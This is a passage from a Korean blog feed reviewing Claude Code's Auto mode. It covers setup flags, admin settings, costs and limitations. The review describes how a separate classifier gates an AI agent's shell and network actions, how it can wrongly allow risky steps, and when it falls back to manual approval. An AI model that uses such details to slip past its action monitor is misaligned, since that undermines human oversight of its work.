&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 참조&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 읽음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;표만 보면 비슷해 보이지만, &lt;b&gt;철학이 다르다.&lt;/b&gt; Claude Auto mode는 &quot;런타임에서 AI가 판단한다&quot; &amp;mdash; 유연하지만 확률적이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex full-auto는 &quot;OS 샌드박스가 물리적으로 격리한다&quot; &amp;mdash; 딱딱하지만 결정적이다. Cursor YOLO는 &quot;그냥 전부 승인한다&quot; &amp;mdash; 빠르지만 안전장치가 없다. 어떤 접근이 나은지는 팀의 위험 허용도에 따라 다르다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교 전제&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 비교는 2026-03-25 기준이다. Claude Code Auto(리서치 프리뷰), Cursor YOLO(해당일 공개 기능), Codex full-auto(샌드박스 기반). 각 제품의 업데이트 주기가 빠르므로 최신 공식 문서를 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2JqY3%2FdJMcahX9J4N%2FlClDYf85l8ukQkJGM7Xaj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1952&quot; height=&quot;1112&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLI에서 활성화&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. auto mode 활성화하여 시작
claude --enable-auto-mode

# 2. 세션 중 Shift+Tab으로 모드 전환
#    default &amp;rarr; acceptEdits &amp;rarr; plan &amp;rarr; auto

# 3. 직접 모드 지정하여 시작
claude --permission-mode auto --enable-auto-mode

# 4. 비대화형 모드에서 사용
claude -p &quot;전체 테스트 리팩토링&quot; --permission-mode auto --enable-auto-mode

# 5. 기본 차단/허용 규칙 확인
claude auto-mode defaults&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;VS Code / Desktop에서 활성화&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;VS Code:&lt;/b&gt; Settings &amp;rarr; &quot;Allow dangerously skip permissions&quot; 활성화 &amp;rarr; 프롬프트 박스 하단의 모드 인디케이터 클릭 &amp;rarr; &quot;Auto&quot; 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Desktop:&lt;/b&gt; Organization Settings &amp;rarr; Claude Code &amp;rarr; Auto mode 토글 ON &amp;rarr; 전송 버튼 옆 모드 셀렉터에서 &quot;Auto&quot; 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;관리자 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Team/Enterprise 관리자는 조직 전체에서 auto mode를 비활성화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;disableAutoMode&quot;: &quot;disable&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 비용과 성능 영향&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 공짜가 아니다. 분류기가 각 작업마다 별도로 실행되므로 추가 비용이 발생한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;토큰:&lt;/b&gt; 분류기 호출이 메인 세션과 동일하게 토큰 사용량에 집계된다. 각 검사에서 대화 트랜스크립트 일부 + 대기 중인 작업이 분류기에 전송된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비용 발생 시점:&lt;/b&gt; 주로 shell 명령어와 네트워크 작업에서 발생. 읽기 전용 작업과 워킹 디렉토리 내 파일 수정은 분류기를 거치지 않으므로 추가 비용 없음.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;지연:&lt;/b&gt; 각 분류기 검사에 라운드트립이 추가된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;리서치 프리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전을 보장하지 않는다. bypassPermissions보다 나은 보호를 제공하지만, 수동 검토만큼 철저하지는 않다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오탐 가능&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 안전한 작업을 차단하거나, 위험한 작업을 허용할 수 있다. 사용자 의도가 모호하거나 환경 맥락이 부족할 때 오판 가능성이 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플랜 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Team 전용. Pro/Max/Free 사용자는 아직 사용 불가.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;모델 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Sonnet 4.6, Opus 4.6만. Haiku, Claude 3 계열, Bedrock/Vertex 미지원.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;비대화형 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;-p&lt;/code&gt; 플래그와 함께 사용 시, 폴백이 트리거되면 사용자 프롬프트가 불가능하므로 세션이 중단된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;웹/모바일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;claude.ai/code 클라우드 세션에서는 Auto mode 사용 불가. Remote Control 세션에서도 미제공.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;폴백 임계치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;연속 3회 또는 세션당 총 20회 차단 시 수동 모드로 전환. 이 값은 변경할 수 없다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 질문과 공식 문서를 바탕으로 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. Shift+Tab을 눌러도 auto 옵션이 안 보인다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &lt;code&gt;--enable-auto-mode&lt;/code&gt; 플래그 없이 시작했거나, Team 플랜이 아니거나, 지원 모델(Sonnet 4.6/Opus 4.6)을 사용하지 않거나, 조직 관리자가 auto mode를 활성화하지 않은 경우. Team/Enterprise에서는 관리자가 먼저 Claude Code 관리 설정에서 auto mode를 켜야 사용자가 활성화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 올바른 시작 방법
claude --enable-auto-mode&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Auto mode인데 자꾸 승인을 묻는다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 폴백 임계치에 도달했다 (연속 3회 또는 세션당 20회 차단). 의도된 동작이다. 차단이 쌓이면 Claude가 직접 사용자에게 물어보도록 설계되어 있다. 승인하면 카운터가 리셋되고 auto mode가 재개된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. 우리 팀 저장소에 push하는 것도 차단된다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 분류기가 해당 저장소를 신뢰할 수 있는 대상으로 인식하지 못한 경우.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;autoMode.environment&lt;/code&gt; 설정에서 신뢰할 리포, 버킷, 내부 서비스를 등록한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. Pro/Max인데 언제 쓸 수 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;현재(2026-03-24) 공식 발표에는 Pro/Max 확대 일정이 포함되어 있지 않다. Team &amp;rarr; Enterprise &amp;rarr; API 순서로 롤아웃이 진행 중이며, 개인 플랜은 추후 발표를 기다려야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 &quot;일일이 승인 vs 전면 방치&quot;라는 양자택일에 세 번째 선택지를 만들었다. 별도의 분류기가 각 작업을 심사하고, 서브에이전트까지 3단계로 검사하며, 프롬프트 인젝션 방어 구조도 갖추고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 Simon Willison이 &lt;a href=&quot;https://simonwillison.net/2026/Mar/24/auto-mode-for-claude-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;자신의 블로그&lt;/a&gt;에서 지적했듯이, &quot;AI 분류기는 확률적 판단이지 하드 보증이 아니다.&quot; Reddit과 HN 커뮤니티의 합의도 같다 &amp;mdash; &lt;b&gt;&quot;편리한 레이어이지, 신뢰할 수 있는 보안 경계는 아니다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 쓰고, 언제 쓰지 않는가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYIkwc%2FdJMcadVIwug%2FkaZQEk0Yj1u7IL5KaZaMF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1096&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;Auto mode를 쓰세요&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;아직 쓰지 마세요&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;개발 브랜치에서 리팩토링/테스트 반복&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;운영 DB나 운영 키를 직접 만지는 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;새 기능 구현 후 빌드+테스트 루프&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로덕션 배포/마이그레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 탐색 작업 (코드 분석, 문서 생성)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인프라 권한(IAM) 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스/컨테이너 환경에서의 실험&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Pro/Max/Free 개인 플랜 (아직 미지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 가이드&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1052&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWUAjr%2FdJMcabKrznN%2FxqM8elvToXEZcMWAZp6eRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1052&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1052&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;&lt;br /&gt;권장 도입 순서&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; 샌드박스 리포에서 30분 테스트. &lt;code&gt;claude --enable-auto-mode&lt;/code&gt;로 시작, 분류기가 뭘 차단하는지 관찰.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; 비프로덕션 브랜치에서 실제 개발 작업에 적용. &lt;code&gt;claude auto-mode defaults&lt;/code&gt;로 기본 규칙 확인 후 필요 시 &lt;code&gt;autoMode.environment&lt;/code&gt;에 신뢰 리소스 등록.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;운영 리포:&lt;/b&gt; default 모드를 유지하되, 예외적으로 Auto를 허용. 1주간 로그를 검토한 뒤 조직 정책을 확정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 블로그: &lt;a href=&quot;https://claude.com/blog/auto-mode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Auto mode for Claude Code&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Choose a permission mode&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;TechCrunch: &lt;a href=&quot;https://techcrunch.com/2026/03/24/anthropic-hands-claude-code-more-control-but-keeps-it-on-a-leash/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic hands Claude Code more control&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;SiliconANGLE: &lt;a href=&quot;https://siliconangle.com/2026/03/24/anthropic-unchains-claude-code-auto-mode-allowing-choose-permissions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic unchains Claude Code with auto mode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>auto mode</category>
      <category>bypassPermissions</category>
      <category>claude code</category>
      <category>Claude Code Auto mode</category>
      <category>dangerously-skip-permissions</category>
      <category>enable-auto-mode</category>
      <category>permission mode</category>
      <category>권한 모드</category>
      <category>자동 실행</category>
      <category>클로드 코드</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/562</guid>
      <comments>https://goddaehee.tistory.com/562#entry562comment</comments>
      <pubDate>Thu, 26 Mar 2026 00:38:52 +0900</pubDate>
    </item>
    <item>
      <title>Claude 신기능 리뷰 - 대화중 인터랙티브(차트&amp;middot;다이어그램&amp;middot;시각화) 자료 실시간 생성 기능 리뷰 : 말 한마디로 웹앱이 나오는 시대</title>
      <link>https://goddaehee.tistory.com/561</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 클로드(Claude)의 &lt;b&gt;시각화 업데이트&lt;/b&gt;가 왜 AI 시장에서 주목받는지, 그리고 실제로 어떻게 쓸 수 있는지 정리해 보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2572&quot; data-origin-height=&quot;1434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCG0EG%2FdJMcah4TiqX%2FyDWuuRH5BKmmBkJCodA5H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2572&quot; height=&quot;1434&quot; data-origin-width=&quot;2572&quot; data-origin-height=&quot;1434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
